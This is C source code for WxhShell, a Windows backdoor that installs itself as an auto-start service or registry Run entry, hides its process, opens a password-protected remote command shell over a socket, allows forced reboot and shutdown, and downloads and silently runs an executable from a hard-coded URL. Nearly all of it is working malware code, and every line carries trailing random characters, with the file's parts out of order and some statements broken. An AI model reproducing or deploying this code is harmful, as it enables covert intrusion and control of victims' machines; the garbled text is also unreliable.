    } TN.rrop`#g  
    break; ] @'!lhLi  
    } @VBcJ{e,  
  // 关机 eJSxn1GW  
  case 'd': { +H.`MZ=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <!+Az,-  
    if(Boot(SHUTDOWN)) liZxBs :%i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "{n&~H`  
    else { ( =$ x.1  
    closesocket(wsh); Q@niNDaW2  
    ExitThread(0); :t[_:3@  
    } `gJ(0#ac  
    break; ~zgGa:uU  
    } <[phnU^ 8  
  // 获取shell O=lzT~G|4  
  case 's': { U(Zq= M  
    CmdShell(wsh); JVJMgim)0  
    closesocket(wsh); |zU-KGO&  
    ExitThread(0); TV:9bn?r)  
    break; ),)lzN%!  
  } @,}UWU  
  // 退出 (mOtU8e  
  case 'x': { u!s2 BC0}N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CAe!7HiR  
    CloseIt(wsh); R/_&m$ZB  
    break; G)YcJv7  
    } L-Lvp%%  
  // 离开 \GBuWY3B  
  case 'q': { b'g )  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S @Y39  
    closesocket(wsh); >eaaaq9B-  
    WSACleanup(); 5N]"~w*  
    exit(1); \^LFkp  
    break; QnDg 6m)+  
        } Y@v>FlqI{  
  } xoL\us`A  
  } "&] -2(  
jo7\`#(Q  
  // 提示信息 jCY %|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |:o4w  
} {vj)76%y  
  } FwK] $4*  
vI?, 47Hj+  
  return; "7 yD0T)2  
} l}h!B_P'  
"tZe>>I  
// shell模块句柄 J4'eI[73  
int CmdShell(SOCKET sock) ?M2J wAK5  
{ cK@wsA^4  
STARTUPINFO si; _aphkeqd  
ZeroMemory(&si,sizeof(si)); W)/#0*7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =wJX 0A|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;a/E42eN;  
PROCESS_INFORMATION ProcessInfo; TC('H[ ]  
char cmdline[]="cmd"; b>W %t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mDWG7Asp  
  return 0; Sz~OX6L  
} FmW(CGs  
'"^'MXa  
// 自身启动模式 t1".0  
int StartFromService(void) [0of1eCSl  
{ GyIV Hby  
typedef struct -=="<0c  
{ %>yL1BeA4  
  DWORD ExitStatus; h8P)%p  
  DWORD PebBaseAddress; txpgO1  
  DWORD AffinityMask; b}f~il  
  DWORD BasePriority; \bF{-"7.  
  ULONG UniqueProcessId; x:;kSh  
  ULONG InheritedFromUniqueProcessId; sB</DS  
}   PROCESS_BASIC_INFORMATION; T%Lx%Qn  
uH]OEz\H'  
PROCNTQSIP NtQueryInformationProcess; yevPHN"M  
*|0 -~u%q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .8R@2c`}Cs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` A>@]d  
p?!/+  
  HANDLE             hProcess; M+>u/fldV  
  PROCESS_BASIC_INFORMATION pbi; hrn+UL:d  
^#$n~]s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s*[bFJwN  
  if(NULL == hInst ) return 0; QY/w  
pb}*\/s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *g%yRU{N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \Z/@C lCm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q?vlfZR`8  
'NmRR]Q9  
  if (!NtQueryInformationProcess) return 0; JI}'dU>*U:  
u[YGm:}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =euni}7a  
  if(!hProcess) return 0; N['  .BN  
fex@,I&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q 1,~  
XTy x r  
  CloseHandle(hProcess); *pq\MiD/  
! mHO$bQ"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p2eGm-Erq  
if(hProcess==NULL) return 0; Ew N}l  
;+%rw2Z,B  
HMODULE hMod; &8H'eAA  
char procName[255]; _b 0& !l<  
unsigned long cbNeeded; 3w=J'(RU  
&ncvGDGi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mt .sucT  
]9CFIh  
  CloseHandle(hProcess); &Jj<h: *  
:X=hQ:>P  
if(strstr(procName,"services")) return 1; // 以服务启动 +>,I1{u%&  
c)J%`i$  
  return 0; // 注册表启动 K0~rN.C!0  
} _f83-':W6  
TH;hO).u  
// 主模块 h{Y",7] !  
int StartWxhshell(LPSTR lpCmdLine) # d  
{ 2G7Wi!J  
  SOCKET wsl; 1Mzmg[L8  
BOOL val=TRUE; as|<}:V  
  int port=0; <E~'.p,  
  struct sockaddr_in door; :Ye !w$r  
I9Xuok!0>=  
  if(wscfg.ws_autoins) Install(); dPlV>IM$z  
"jZ-,P=  
port=atoi(lpCmdLine); $4LzcwG  
1}x%%RD_  
if(port<=0) port=wscfg.ws_port; [,Gg^*umS  
k[xSbs'D  
  WSADATA data; @gblW*Zhk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 01]f2.5  
>:-$+I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )9g2D`a4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lbgi7|&  
  door.sin_family = AF_INET; e'~3oqSvR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WWY6ha  
  door.sin_port = htons(port); 7Q 3k 7  
m O_af  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wk^B"+Uhy  
closesocket(wsl); *4'"2"  
return 1; 2y4bwi  
} ES[G  
,tFg4k[  
  if(listen(wsl,2) == INVALID_SOCKET) { MgZ/(X E  
closesocket(wsl); "oyo#-5z  
return 1; 9hl_|r~%*  
} \bXa&Lq  
  Wxhshell(wsl); pa+hL,w{6  
  WSACleanup(); -"x$ZnHU  
/vt3>d%B;  
return 0; 6tZI["\   
KNl$3nX  
} &]Tmxh(  
P \I|,  
// 以NT服务方式启动 >P(.:_ ^p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K/$KI7 P  
{ '/p4O2b,  
DWORD   status = 0;  " bG2:  
  DWORD   specificError = 0xfffffff; !WlH'y-I  
6]N.%Y[(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )J |6-C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (7Qo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y =@N|f!  
  serviceStatus.dwWin32ExitCode     = 0; 7<4qQ.deE  
  serviceStatus.dwServiceSpecificExitCode = 0; [g,}gyeS(  
  serviceStatus.dwCheckPoint       = 0; \8tsDG(1 '  
  serviceStatus.dwWaitHint       = 0; +ZYn? #IQ  
)oZ dj`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2wn2.\v M  
  if (hServiceStatusHandle==0) return; 3`HV(5U[  
buC{ r,  
status = GetLastError(); kfNWI#'9  
  if (status!=NO_ERROR) bt *k.=p  
{ ICCc./l|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -Za/p@gM  
    serviceStatus.dwCheckPoint       = 0; )u">it+  
    serviceStatus.dwWaitHint       = 0; yZ:qU({KhD  
    serviceStatus.dwWin32ExitCode     = status; sLFl!jX  
    serviceStatus.dwServiceSpecificExitCode = specificError; ESs\O?nO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5;?yCWc  
    return; 2 c}E(8e]  
  } AW .F3hN)  
13PS2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eyaNs{TV  
  serviceStatus.dwCheckPoint       = 0; ^.tg7%dJ  
  serviceStatus.dwWaitHint       = 0; =41xkAMnk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X]=t>   
} C~[,z.FvO  
^aQ"E9  
// 处理NT服务事件,比如:启动、停止 NI5``BwpO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )[  ,A_3E  
{ neh(<>  
switch(fdwControl) tkhCw/  
{ Bq>m{  
case SERVICE_CONTROL_STOP: l0] EX>"E  
  serviceStatus.dwWin32ExitCode = 0; f::Dx1VcX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mtv?:q  
  serviceStatus.dwCheckPoint   = 0;  OSJ$d  
  serviceStatus.dwWaitHint     = 0; \ jA~9  
  { M2|is ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tgaO!{9I?  
  } Qd6FH2Pl  
  return; v:p}B$  
case SERVICE_CONTROL_PAUSE: d3Rw!slIq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H"KCK6  
  break; 2tLJU  Z1  
case SERVICE_CONTROL_CONTINUE: F/Pep?'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aT<q=DO  
  break; :KN-F86i  
case SERVICE_CONTROL_INTERROGATE: q;U,s)Uz^  
  break; H-%v3d>3  
}; $N\Ja*g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .B yuN  
} C>~TI,5a3  
{t!!Uz 7  
// 标准应用程序主函数 j4b4!^fV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +3`alHUK  
{ IAEAhqp  
jtc~DL  
// 获取操作系统版本 fLVAKn  
OsIsNt=GetOsVer(); >MK98(F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h$=2p5'-  
Q^I\cAIB  
  // 从命令行安装 L(o15  
  if(strpbrk(lpCmdLine,"iI")) Install(); @H<q"-J  
!wp3!bLp  
  // 下载执行文件 Mq8L0%j  
if(wscfg.ws_downexe) { bx Wa oWE0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KU;9}!#  
  WinExec(wscfg.ws_filenam,SW_HIDE); T Ge_G_'o  
} _rYkis^ u  
3~ \[7I/  
if(!OsIsNt) { aoTP [Bp  
// 如果时win9x,隐藏进程并且设置为注册表启动 v3qA":(w+(  
HideProc(); };g"GNy  
StartWxhshell(lpCmdLine); v LZoa-w:  
} T>GM%^h,7-  
else @P" p+  
  if(StartFromService()) c"Sq~X  
  // 以服务方式启动 $SE^S   
  StartServiceCtrlDispatcher(DispatchTable); j.kG};f  
else y?:.;%!E  
  // 普通方式启动 2"5v[,$1H  
  StartWxhshell(lpCmdLine); `XB 9Mi=  
qw8Rlws%  
return 0; BB'OCN  
} o]:9')5^  
gNhQD*+>{  
Z<phcqEi8  
7)k\{&+P  
=========================================== yWya&|D9  
#,.Hr#3nI  
^H' \"9;7  
_y3Xb`0a  
'=6\v!  
9mFE?J  
" <9%R\_@$H  
nLiY%x`S  
#include <stdio.h> [PM4k0YC8  
#include <string.h> S@Hf &hJ  
#include <windows.h> ""D 4s  
#include <winsock2.h> &w~d_</  
#include <winsvc.h> l (%1jC8  
#include <urlmon.h> 7!$^r$t   
5^KWCS7@  
#pragma comment (lib, "Ws2_32.lib") 3Hm/(C  
#pragma comment (lib, "urlmon.lib") \j)E 5b+  
(b6NX~G-:  
#define MAX_USER   100 // 最大客户端连接数 )tpL#J  
#define BUF_SOCK   200 // sock buffer ->{KVPHe{  
#define KEY_BUFF   255 // 输入 buffer BX^tR1  
orvp*F{7[H  
#define REBOOT     0   // 重启 {u9}bx'<  
#define SHUTDOWN   1   // 关机 0C*7K?/  
_{Hj^}+$  
#define DEF_PORT   5000 // 监听端口 "x /OIf  
pU7lnS[  
#define REG_LEN     16   // 注册表键长度 0<B$#8  
#define SVC_LEN     80   // NT服务名长度 lu6(C  
c{LO6dNg\z  
// 从dll定义API :Xd<74Nu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?KI,cl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2,P^n4~A?w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ps*uva  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]]juN  
ED& `_h7?  
// wxhshell配置信息 :<#nTh_@\'  
struct WSCFG { :$9tF >  
  int ws_port;         // 监听端口 P}G+4Sk  
  char ws_passstr[REG_LEN]; // 口令 ]P2"[y  
  int ws_autoins;       // 安装标记, 1=yes 0=no AZ}Xj>=  
  char ws_regname[REG_LEN]; // 注册表键名 [\b 0Lem  
  char ws_svcname[REG_LEN]; // 服务名 g2/8~cn8z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (DP &B%Sf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f8.gT49I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !1Cy$}w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yq iq,=OvP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sa`Xf\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ig':%2V/  
ZEO,]$Yi7  
}; p`#R<K  
\A6B,|@  
// default Wxhshell configuration (41|'eB\\  
struct WSCFG wscfg={DEF_PORT, )M//l1  
    "xuhuanlingzhe", Q7COQ2~K   
    1, Z@@K[$  
    "Wxhshell", Y.ToIka{  
    "Wxhshell", B|AV$N*  
            "WxhShell Service", B\:%ufd ~  
    "Wrsky Windows CmdShell Service", ; XN{x  
    "Please Input Your Password: ", A1?2*W  
  1, %(G* ,  
  "http://www.wrsky.com/wxhshell.exe", o"BoZsMk  
  "Wxhshell.exe" }HePZ{PLM  
    }; tlp@?(u  
(%W&4a1di  
// 消息定义模块 2WVka  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r7,t";?>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pKrN:ExB"\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &<U0ZvrsH  
char *msg_ws_ext="\n\rExit."; #PQB(=299P  
char *msg_ws_end="\n\rQuit."; 4l45N6"  
char *msg_ws_boot="\n\rReboot..."; :| 8M`18lZ  
char *msg_ws_poff="\n\rShutdown..."; !|S43i&p  
char *msg_ws_down="\n\rSave to "; ^ tg<K  
-f>%+<k=  
char *msg_ws_err="\n\rErr!"; s;vHPUB\n  
char *msg_ws_ok="\n\rOK!"; 28J^DMOW  
in-HUG  
char ExeFile[MAX_PATH]; xZwLlY  
int nUser = 0; 6WJ)by  
HANDLE handles[MAX_USER]; +sUFv)!4  
int OsIsNt; pF Rg?-  
V<uR>TD(  
SERVICE_STATUS       serviceStatus; DOJN2{IP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9!}8UALD  
TS9|a{j3!  
// 函数声明 sCk?  
int Install(void); 4k_vdz  
int Uninstall(void); {U m)15K  
int DownloadFile(char *sURL, SOCKET wsh); YccH+[X;  
int Boot(int flag); }h!f eP  
void HideProc(void); '*w00  
int GetOsVer(void); =4PV;>X  
int Wxhshell(SOCKET wsl); `FTy+8mw  
void TalkWithClient(void *cs); JYd 'Jp8bP  
int CmdShell(SOCKET sock); VAf1" )pC  
int StartFromService(void); QPg8;O  
int StartWxhshell(LPSTR lpCmdLine); HxK80mJ  
%<*g!y `  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7KL v6]b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *b/` Ya4  
Dq5j1m.  
// 数据结构和表定义 DN~nk  
SERVICE_TABLE_ENTRY DispatchTable[] = u!X|A`o5i  
{ 8b-Q F  
{wscfg.ws_svcname, NTServiceMain}, #( jw!d&  
{NULL, NULL} V7P&%oz{C  
}; s<_)$}  
Z9 9>5\k  
// 自我安装 TbGn46!:  
int Install(void) vUU9$x  
{ bMMh|F  
  char svExeFile[MAX_PATH]; x+x40!+\  
  HKEY key; (Cd\G=PK  
  strcpy(svExeFile,ExeFile); An"</;HU  
-}=%/|\FG  
// 如果是win9x系统,修改注册表设为自启动 80/F7q'tn  
if(!OsIsNt) { GlT7b/JCG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T' &I{L33Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % !>I*H  
  RegCloseKey(key); [[Fx[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "a1n_>#Fb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z2='o_c  
  RegCloseKey(key); PGBQn#c<  
  return 0; ^!z [t\$  
    } be-~\@  
  } *c*0PdV  
} xJZ>uTN  
else { M8Z2Pg\0  
;Q[mL(1:  
// 如果是NT以上系统,安装为系统服务 M9@ri^x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >W`4aA  
if (schSCManager!=0) &PK\|\\2  
{ ~-m"   
  SC_HANDLE schService = CreateService [P7N{l=I  
  ( RYl>  
  schSCManager, 4^Q :  
  wscfg.ws_svcname, oDYRQozo>  
  wscfg.ws_svcdisp, S.q].a  
  SERVICE_ALL_ACCESS, r*_ZJ*h[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3*)ig@e6  
  SERVICE_AUTO_START, $K'|0   
  SERVICE_ERROR_NORMAL, q]N:Tpm9  
  svExeFile, sZm$|T0  
  NULL, xz{IH,?IG  
  NULL, qfz8jY]  
  NULL, _b.qkTWUB  
  NULL, <xC#@OZ  
  NULL S'B|>!z@  
  ); 7=OQ8IM !  
  if (schService!=0) wqW 0v\  
  { ~Oq +IA~9  
  CloseServiceHandle(schService); 5-0{+R5v  
  CloseServiceHandle(schSCManager); |{ PI102  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &F5@6nJ`  
  strcat(svExeFile,wscfg.ws_svcname); m[@Vf9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k{$ ao  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FH%GIi  
  RegCloseKey(key); !i%"7tQ3$  
  return 0; <u:WlaS  
    } _#}n~}d  
  } GMZv RAu i  
  CloseServiceHandle(schSCManager); -yg?V2  
} dwv6;x  
} =)` p_W  
ee#): -p  
return 1; R$Tp8G>j  
} }sFm9j7yR  
<P;}unq.kw  
// 自我卸载 ~/ilx#d  
int Uninstall(void) .eO?Z^  
{ FSb Hn{@  
  HKEY key; rf%7b8[v  
k` (jkbEZ  
if(!OsIsNt) { LW:LFzp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3#45m+D  
  RegDeleteValue(key,wscfg.ws_regname); %F*|;o7s  
  RegCloseKey(key); \yGsr Bl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !'*csg  
  RegDeleteValue(key,wscfg.ws_regname); l?)ZJ3]a  
  RegCloseKey(key); \Ro^*4B  
  return 0; cFF*Z=L _  
  } I;?X f  
} z]bwnJfd  
} *79m^  
else { rUjdq/I:Z  
X*7\lf2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 08m;{+|vY  
if (schSCManager!=0) eV cANP  
{ o(Cey7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LR,7,DH$9'  
  if (schService!=0) 35x 0T/8  
  { U70]!EaT  
  if(DeleteService(schService)!=0) { }V|{lvt.  
  CloseServiceHandle(schService); 3An(jt$%Q  
  CloseServiceHandle(schSCManager); Z#Lx_*p]Q  
  return 0; u=qPzmywt  
  } *[kxF*^  
  CloseServiceHandle(schService); QlW=_Ymv{  
  } hWcTI{v  
  CloseServiceHandle(schSCManager); +EASAq  
} PtKTm\,JL0  
} "6I[4U"@  
a]VGUW-  
return 1; En9R>A;`  
} dA#{Cn;  
^@}#me@  
// 从指定url下载文件 @PcCiGZ  
int DownloadFile(char *sURL, SOCKET wsh) Vf{2dZZ{1  
{ H|+tC=]4IZ  
  HRESULT hr; WSI Xj5R  
char seps[]= "/"; C;sgK  
char *token; vg5NY =O  
char *file; [a8+(  
char myURL[MAX_PATH]; d]M[C[TOX  
char myFILE[MAX_PATH]; MtG_9-  
'>^Xqn  
strcpy(myURL,sURL); xVR:; Jy[  
  token=strtok(myURL,seps); _IYY08&(r  
  while(token!=NULL) w6EI{  
  { ]A!.9Ko}u  
    file=token; -fux2?8M  
  token=strtok(NULL,seps); /{G/|a  
  } H%Y%fQ ~^  
#O</\|aH)i  
GetCurrentDirectory(MAX_PATH,myFILE); s-Y+x  
strcat(myFILE, "\\"); t&"5dM\  
strcat(myFILE, file); hh&Js'd  
  send(wsh,myFILE,strlen(myFILE),0); b|E/LKa  
send(wsh,"...",3,0); #,P(isEZ"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {aJz. `u\  
  if(hr==S_OK)  6`"ZsO  
return 0; z^~U]S3  
else ~_}4jnC  
return 1; ZW* fOaj  
\Ut S>4w\  
} cMtJy"kK  
`Xqy  
// 系统电源模块 gDhl-  
int Boot(int flag) gX"T*d>y  
{ T{~MiC6A  
  HANDLE hToken; kGj]i@(PA4  
  TOKEN_PRIVILEGES tkp; jf7pl8gv  
Isp_U5M  
  if(OsIsNt) { B'/Icg.T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v|To+ P6b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^8\Y`Z0%  
    tkp.PrivilegeCount = 1; n +d J c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a^*B5G1(&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 165WO}(;/  
if(flag==REBOOT) { ZE ^u.>5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \#_@qHAG  
  return 0; Znq(R8BMW  
} Q^q=!/qQ  
else { 5 {fwlA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YRu%j4Tx  
  return 0; YrKFa%k  
} _3zU,qm+  
  } EUXV/QV{  
  else { Lo5Jb6nm  
if(flag==REBOOT) { AYYRxhv_,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0. (zTJ  
  return 0; c_[ JjG^?P  
} L<"k 7)k  
else { =yo=q)W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }7&\eV{qU  
  return 0; &(WE]ziuO  
} ZG!x$ yi$  
} x1:vUHwC  
O<Jwaap  
return 1; frk7^5  
} 6O%=G3I  
}1@n(#|c  
// win9x进程隐藏模块 %pd5w~VP  
void HideProc(void) _82<| NN:  
{ IZ|c <#r6  
[3GKPX:OA/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 57'q;I  
  if ( hKernel != NULL ) -.^@9 a>  
  { b,z R5R^D;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jDFp31_X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xk 5oybDI  
    FreeLibrary(hKernel); o&WRta>VP  
  } KPD@b=F  
gjO *h3`  
return; aYqqq|  
} yo'q[YtP'  
!2/l9SUi  
// 获取操作系统版本 @F>[DW]O  
int GetOsVer(void) qT 5Wa O)  
{ lF)0aDk'h  
  OSVERSIONINFO winfo; iJ5e1R8tN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e OO!jrT:  
  GetVersionEx(&winfo); 9)1P+c--  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~:R4))qpg  
  return 1; E `?S!*jm  
  else 2pVVoZV.<  
  return 0; 7)g;Wd+H  
} wn&[1gBxM  
l!xgtP K  
// 客户端句柄模块 V6A5(-%`y  
int Wxhshell(SOCKET wsl) `[w}hFl~q  
{ 1uK)1%vK  
  SOCKET wsh;  ^xBb$  
  struct sockaddr_in client; d@_'P`%-  
  DWORD myID; @G^j8Nl+J}  
qpH j4  
  while(nUser<MAX_USER) W66}\&5  
{ ][s*~VK;  
  int nSize=sizeof(client); <FMuWHY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +H5 jRw  
  if(wsh==INVALID_SOCKET) return 1; tyBg7dP  
Z&2 &wD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p\4h$."  
if(handles[nUser]==0) &utS\-;G  
  closesocket(wsh); @]}Qh;a~  
else 7lnM|nD  
  nUser++; ?h>(&H jWV  
  } ;jpw"-J`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7`j|tb-  
?STI8AdO  
  return 0; ;h*"E(P p  
} ?dATMmT-  
gwkZk-f\p  
// 关闭 socket g[uE@Gaj&  
void CloseIt(SOCKET wsh) ,cl"1>lp  
{ C/grrw  
closesocket(wsh); =}6Z{}(TT  
nUser--; exa}dh/uC  
ExitThread(0); 1{Sx V  
} 3l41r[\  
@i1.5z  
// 客户端请求句柄 KJ05Zx~uma  
void TalkWithClient(void *cs) wE.@0  
{ b W`)CWd  
g]TI8&tP!L  
  SOCKET wsh=(SOCKET)cs; .5$V7t.t$\  
  char pwd[SVC_LEN]; 6.(]}?g1f  
  char cmd[KEY_BUFF]; ir1RAmt%  
char chr[1]; QjT#GvHY  
int i,j; _^,[wD  
d,E/9y\e  
  while (nUser < MAX_USER) { ))we\I__8  
*jqPKK/  
if(wscfg.ws_passstr) { ,YzC)(-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L2Qp6A6S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jDkc~Wwa  
  //ZeroMemory(pwd,KEY_BUFF); xDAA`G  
      i=0; x,@O:e  
  while(i<SVC_LEN) { u6CM RZ$  
SJY"]7  
  // 设置超时 5juCeG+Z  
  fd_set FdRead; /ux#U]x  
  struct timeval TimeOut; 9/^Bj  
  FD_ZERO(&FdRead); u9[w~U#  
  FD_SET(wsh,&FdRead); ,L;c{[*rh  
  TimeOut.tv_sec=8; .bl/At3A  
  TimeOut.tv_usec=0; -a#AE|`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~(L<uFU V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hgMnO J  
\c`r9H^v{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P+ h<{%:*  
  pwd=chr[0]; `5aypJf 1  
  if(chr[0]==0xd || chr[0]==0xa) { \6PIw-)  
  pwd=0; )a2m<"  
  break; `J;/=tf09  
  } #._6lESK  
  i++; !t [%'!v  
    } nV6g]#~ @  
w6%CB E2  
  // 如果是非法用户,关闭 socket mf_ 9O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B7^n30+L  
} F[qI fh4  
OCoRcrAx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $/sZYsN~T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~$`YzK^*X  
2SCf]&  
while(1) { 3lEU$)QA3  
Hr.JZ>~<  
  ZeroMemory(cmd,KEY_BUFF); 4Og GZ  
_1bd)L&dF  
      // 自动支持客户端 telnet标准   BN> $LL  
  j=0; ~k_zMU-1  
  while(j<KEY_BUFF) { 74N\G1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wn</",Gf  
  cmd[j]=chr[0]; > ]N0w  
  if(chr[0]==0xa || chr[0]==0xd) { {xx;zjt%}}  
  cmd[j]=0; 9w<_XXQ  
  break; :JG}%  
  } S:T>oFUot  
  j++; aNEy1-/(\  
    } bI0+J)  
dD2e"OIX  
  // 下载文件 i3!$M/_]  
  if(strstr(cmd,"http://")) { 4'e8VI0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *y@]zNPD  
  if(DownloadFile(cmd,wsh)) ATkqzE`;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?B4QTx9B  
  else xqZ%c/I3q  
